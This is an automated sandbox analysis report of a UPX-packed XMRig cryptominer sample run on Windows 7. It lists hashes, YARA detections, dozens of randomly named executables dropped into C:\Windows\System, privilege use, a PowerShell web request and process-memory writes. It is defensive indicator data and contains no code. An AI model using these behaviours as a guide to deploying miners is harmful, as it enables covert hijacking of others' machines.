xmrig | f454795705ff4cea6f3140dad281a4e5bc049efd31477eb7089e3c724cd78495

Analysis

max time kernel
150s
max time network
142s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
31/05/2024, 17:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
Size

2.7MB
MD5

840d02bf44c68b881b1eb45ccd0748e0
SHA1

feb573c7d69b5f93f8d2e4964f3cbfd604cd83a1
SHA256

f454795705ff4cea6f3140dad281a4e5bc049efd31477eb7089e3c724cd78495
SHA512

101ff6f46e5527299c35c437a13efe4b092e7216ef02393b1eaa557b92a534123edcd2bd6b1a46196693bcfb73ce04af0c0468714643b233fdde3ce202525dc3
SSDEEP

49152:71G1NtyBwTI3ySZbrkXV1etEKLlWUTOfeiRA2R76zHrWax9hMkyW10/wKV7hjSeJ:71ONtyBeSFkXV1etEKLlWUTOfeiRA2R1

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 49 IoCs

miner

resource	yara_rule
behavioral1/memory/2820-1-0x000000013FD50000-0x0000000140146000-memory.dmp	xmrig
behavioral1/files/0x00090000000141a2-3.dat	xmrig
behavioral1/files/0x00090000000143ec-14.dat	xmrig
behavioral1/files/0x000f000000005578-13.dat	xmrig
behavioral1/files/0x0008000000014539-22.dat	xmrig
behavioral1/files/0x000a000000014667-23.dat	xmrig
behavioral1/files/0x00090000000146a2-29.dat	xmrig
behavioral1/files/0x00070000000147ea-41.dat	xmrig
behavioral1/files/0x0006000000014abe-53.dat	xmrig
behavioral1/files/0x0006000000014de9-69.dat	xmrig
behavioral1/files/0x00060000000155ed-79.dat	xmrig
behavioral1/files/0x0006000000015018-77.dat	xmrig
behavioral1/files/0x0006000000014ef8-73.dat	xmrig
behavioral1/files/0x0006000000014b70-65.dat	xmrig
behavioral1/files/0x0006000000014b31-61.dat	xmrig
behavioral1/files/0x00060000000155f7-109.dat	xmrig
behavioral1/files/0x0006000000015c3d-132.dat	xmrig
behavioral1/files/0x0006000000015c52-139.dat	xmrig
behavioral1/files/0x0006000000015cce-166.dat	xmrig
behavioral1/memory/2804-429-0x000000013FEA0000-0x0000000140296000-memory.dmp	xmrig
behavioral1/memory/2592-431-0x000000013FB90000-0x000000013FF86000-memory.dmp	xmrig
behavioral1/memory/2128-428-0x000000013F2A0000-0x000000013F696000-memory.dmp	xmrig
behavioral1/memory/2208-426-0x000000013F230000-0x000000013F626000-memory.dmp	xmrig
behavioral1/memory/2444-619-0x000000013F3F0000-0x000000013F7E6000-memory.dmp	xmrig
behavioral1/memory/1612-617-0x000000013FE40000-0x0000000140236000-memory.dmp	xmrig
behavioral1/memory/2468-614-0x000000013F280000-0x000000013F676000-memory.dmp	xmrig
behavioral1/memory/2708-611-0x000000013FDF0000-0x00000001401E6000-memory.dmp	xmrig
behavioral1/memory/2980-608-0x000000013FD70000-0x0000000140166000-memory.dmp	xmrig
behavioral1/memory/2716-604-0x000000013F970000-0x000000013FD66000-memory.dmp	xmrig
behavioral1/memory/2596-527-0x000000013FA80000-0x000000013FE76000-memory.dmp	xmrig
behavioral1/memory/2660-511-0x000000013F270000-0x000000013F666000-memory.dmp	xmrig
behavioral1/files/0x0006000000015cb6-161.dat	xmrig
behavioral1/files/0x0006000000015c83-154.dat	xmrig
behavioral1/files/0x0006000000015c9f-159.dat	xmrig
behavioral1/files/0x0006000000015c78-151.dat	xmrig
behavioral1/files/0x0006000000015c6b-144.dat	xmrig
behavioral1/files/0x0006000000015626-124.dat	xmrig
behavioral1/files/0x0006000000015b6f-129.dat	xmrig
behavioral1/files/0x0006000000015616-119.dat	xmrig
behavioral1/files/0x0006000000015605-114.dat	xmrig
behavioral1/files/0x00060000000155f3-105.dat	xmrig
behavioral1/files/0x0006000000014af6-57.dat	xmrig
behavioral1/files/0x00070000000149f5-49.dat	xmrig
behavioral1/files/0x0007000000014825-46.dat	xmrig
behavioral1/files/0x00080000000146c0-38.dat	xmrig
behavioral1/files/0x00080000000146b8-34.dat	xmrig
behavioral1/memory/2708-8375-0x000000013FDF0000-0x00000001401E6000-memory.dmp	xmrig
behavioral1/memory/2804-8386-0x000000013FEA0000-0x0000000140296000-memory.dmp	xmrig
behavioral1/memory/2468-8352-0x000000013F280000-0x000000013F676000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2352	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2208	tcjXfbJ.exe
2128	dKoiORg.exe
2804	FyuUtsO.exe
2592	BErPRWK.exe
2660	LugHabJ.exe
2596	fjpSpxJ.exe
2716	VVJooCh.exe
2980	zALROBN.exe
2708	krrgtKF.exe
2468	mIIscJu.exe
1612	rDejfUJ.exe
2444	RSZiMFX.exe
2488	GnyymGH.exe
2564	IWwrXCx.exe
2744	xYaWzAV.exe
3064	YQAUfXY.exe
2100	ZRkgddo.exe
1880	NCUtwPl.exe
772	gmBuOyq.exe
956	QSosTDh.exe
776	KSFuVTk.exe
2536	EEoFYUM.exe
2484	ovEiNzW.exe
1628	lVIpEDG.exe
1740	HyoHPpb.exe
1212	PdPcntt.exe
2272	Vdephgs.exe
336	HdTiRtk.exe
240	LeXeJUE.exe
852	wdsLeMb.exe
1360	rOBhCkD.exe
1052	XdObshu.exe
3012	MRmNtwV.exe
2084	pRigADR.exe
1672	KYstNKs.exe
1152	bvnAQxC.exe
1720	WixaHhB.exe
2376	PpgflNU.exe
2396	CaxqQdl.exe
2348	jYElhwm.exe
1636	lwILJjZ.exe
1952	IuausQv.exe
2360	wKMXAWJ.exe
1060	LymkOzE.exe
1592	TsRkdzl.exe
1604	gINoVpl.exe
3016	zxSrnog.exe
2568	jOVluse.exe
2580	RfOiJRA.exe
2728	FCUHAin.exe
952	XpFwbxv.exe
2036	QBhsfGJ.exe
2756	zRfAHJx.exe
2040	PQqDvww.exe
2768	CoWmvCv.exe
2792	egBaZes.exe
304	mquJDWy.exe
2356	zKobdMN.exe
1072	ZKSWxVB.exe
2292	mXFgRmu.exe
1748	XzbwVhL.exe
2588	UmvddUS.exe
1656	QYhCSXQ.exe
1580	srePSIR.exe

Loads dropped DLL 64 IoCs

pid	Process
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe

UPX packed file 49 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2820-1-0x000000013FD50000-0x0000000140146000-memory.dmp	upx
behavioral1/files/0x00090000000141a2-3.dat	upx
behavioral1/files/0x00090000000143ec-14.dat	upx
behavioral1/files/0x000f000000005578-13.dat	upx
behavioral1/files/0x0008000000014539-22.dat	upx
behavioral1/files/0x000a000000014667-23.dat	upx
behavioral1/files/0x00090000000146a2-29.dat	upx
behavioral1/files/0x00070000000147ea-41.dat	upx
behavioral1/files/0x0006000000014abe-53.dat	upx
behavioral1/files/0x0006000000014de9-69.dat	upx
behavioral1/files/0x00060000000155ed-79.dat	upx
behavioral1/files/0x0006000000015018-77.dat	upx
behavioral1/files/0x0006000000014ef8-73.dat	upx
behavioral1/files/0x0006000000014b70-65.dat	upx
behavioral1/files/0x0006000000014b31-61.dat	upx
behavioral1/files/0x00060000000155f7-109.dat	upx
behavioral1/files/0x0006000000015c3d-132.dat	upx
behavioral1/files/0x0006000000015c52-139.dat	upx
behavioral1/files/0x0006000000015cce-166.dat	upx
behavioral1/memory/2804-429-0x000000013FEA0000-0x0000000140296000-memory.dmp	upx
behavioral1/memory/2592-431-0x000000013FB90000-0x000000013FF86000-memory.dmp	upx
behavioral1/memory/2128-428-0x000000013F2A0000-0x000000013F696000-memory.dmp	upx
behavioral1/memory/2208-426-0x000000013F230000-0x000000013F626000-memory.dmp	upx
behavioral1/memory/2444-619-0x000000013F3F0000-0x000000013F7E6000-memory.dmp	upx
behavioral1/memory/1612-617-0x000000013FE40000-0x0000000140236000-memory.dmp	upx
behavioral1/memory/2468-614-0x000000013F280000-0x000000013F676000-memory.dmp	upx
behavioral1/memory/2708-611-0x000000013FDF0000-0x00000001401E6000-memory.dmp	upx
behavioral1/memory/2980-608-0x000000013FD70000-0x0000000140166000-memory.dmp	upx
behavioral1/memory/2716-604-0x000000013F970000-0x000000013FD66000-memory.dmp	upx
behavioral1/memory/2596-527-0x000000013FA80000-0x000000013FE76000-memory.dmp	upx
behavioral1/memory/2660-511-0x000000013F270000-0x000000013F666000-memory.dmp	upx
behavioral1/files/0x0006000000015cb6-161.dat	upx
behavioral1/files/0x0006000000015c83-154.dat	upx
behavioral1/files/0x0006000000015c9f-159.dat	upx
behavioral1/files/0x0006000000015c78-151.dat	upx
behavioral1/files/0x0006000000015c6b-144.dat	upx
behavioral1/files/0x0006000000015626-124.dat	upx
behavioral1/files/0x0006000000015b6f-129.dat	upx
behavioral1/files/0x0006000000015616-119.dat	upx
behavioral1/files/0x0006000000015605-114.dat	upx
behavioral1/files/0x00060000000155f3-105.dat	upx
behavioral1/files/0x0006000000014af6-57.dat	upx
behavioral1/files/0x00070000000149f5-49.dat	upx
behavioral1/files/0x0007000000014825-46.dat	upx
behavioral1/files/0x00080000000146c0-38.dat	upx
behavioral1/files/0x00080000000146b8-34.dat	upx
behavioral1/memory/2708-8375-0x000000013FDF0000-0x00000001401E6000-memory.dmp	upx
behavioral1/memory/2804-8386-0x000000013FEA0000-0x0000000140296000-memory.dmp	upx
behavioral1/memory/2468-8352-0x000000013F280000-0x000000013F676000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\wzUKbyN.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\pOQVKfd.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\qqzoQGN.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\wGmxswl.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\xETzZoy.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\RBGgwtv.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\tnqNIKE.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\JIgIVLW.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\pWGAsdI.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\kGrJELi.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\mFpPGCX.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\HwDUYBL.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\IZyPdty.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\TYZUXXR.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\SIIkYPu.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\AhNojvD.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\hyQaHbw.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\icQNQuw.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\ijQLwKM.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\MAwGVWr.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\hDanETy.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\pvzMOfD.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\PYSTNNm.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\LMcOqFL.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\SGsZyCf.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\ymrkWUp.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\YINkkrB.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\XCUUXqX.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\rVrRYud.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\SMSPnMN.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\MiiAuHF.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\ArmuciC.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\bqRlMqs.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\GvhNPJn.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\ATJOsaF.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\pkOCDhL.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\OBQYZrC.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\mvBDNht.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\Dnjltcw.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\HKDLYTl.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\LyqiaTm.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\DOGNAlr.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\SLngGgo.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\taHJZER.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\NeyYTgF.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\VtlIIpS.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\dBoQIkb.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\qCnMONz.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\hipEeFM.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\neCOpWM.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\DgbhKoK.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\GlmbthE.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\CzdjGWD.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\WYApSoQ.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\BkUTmcd.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\tDDdGVj.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\BTDOQTr.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\XxCjJvg.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\csXwcek.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\rzJFvrm.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\emzKDit.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\DkPMQan.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\izZsjgR.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\DKzVSPo.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2352	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
Token: SeDebugPrivilege	2352	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2820 wrote to memory of 2352	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	29
PID 2820 wrote to memory of 2352	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	29
PID 2820 wrote to memory of 2352	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	29
PID 2820 wrote to memory of 2208	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	30
PID 2820 wrote to memory of 2208	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	30
PID 2820 wrote to memory of 2208	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	30
PID 2820 wrote to memory of 2128	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	31
PID 2820 wrote to memory of 2128	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	31
PID 2820 wrote to memory of 2128	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	31
PID 2820 wrote to memory of 2804	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	32
PID 2820 wrote to memory of 2804	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	32
PID 2820 wrote to memory of 2804	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	32
PID 2820 wrote to memory of 2592	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	33
PID 2820 wrote to memory of 2592	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	33
PID 2820 wrote to memory of 2592	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	33
PID 2820 wrote to memory of 2660	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	34
PID 2820 wrote to memory of 2660	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	34
PID 2820 wrote to memory of 2660	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	34
PID 2820 wrote to memory of 2596	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	35
PID 2820 wrote to memory of 2596	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	35
PID 2820 wrote to memory of 2596	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	35
PID 2820 wrote to memory of 2716	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	36
PID 2820 wrote to memory of 2716	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	36
PID 2820 wrote to memory of 2716	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	36
PID 2820 wrote to memory of 2980	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	37
PID 2820 wrote to memory of 2980	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	37
PID 2820 wrote to memory of 2980	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	37
PID 2820 wrote to memory of 2708	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	38
PID 2820 wrote to memory of 2708	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	38
PID 2820 wrote to memory of 2708	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	38
PID 2820 wrote to memory of 2468	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	39
PID 2820 wrote to memory of 2468	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	39
PID 2820 wrote to memory of 2468	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	39
PID 2820 wrote to memory of 1612	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	40
PID 2820 wrote to memory of 1612	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	40
PID 2820 wrote to memory of 1612	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	40
PID 2820 wrote to memory of 2444	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	41
PID 2820 wrote to memory of 2444	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	41
PID 2820 wrote to memory of 2444	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	41
PID 2820 wrote to memory of 2488	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	42
PID 2820 wrote to memory of 2488	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	42
PID 2820 wrote to memory of 2488	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	42
PID 2820 wrote to memory of 2564	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	43
PID 2820 wrote to memory of 2564	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	43
PID 2820 wrote to memory of 2564	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	43
PID 2820 wrote to memory of 2744	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	44
PID 2820 wrote to memory of 2744	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	44
PID 2820 wrote to memory of 2744	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	44
PID 2820 wrote to memory of 3064	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	45
PID 2820 wrote to memory of 3064	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	45
PID 2820 wrote to memory of 3064	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	45
PID 2820 wrote to memory of 2100	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	46
PID 2820 wrote to memory of 2100	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	46
PID 2820 wrote to memory of 2100	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	46
PID 2820 wrote to memory of 1880	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	47
PID 2820 wrote to memory of 1880	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	47
PID 2820 wrote to memory of 1880	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	47
PID 2820 wrote to memory of 772	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	48
PID 2820 wrote to memory of 772	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	48
PID 2820 wrote to memory of 772	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	48
PID 2820 wrote to memory of 956	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	49
PID 2820 wrote to memory of 956	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	49
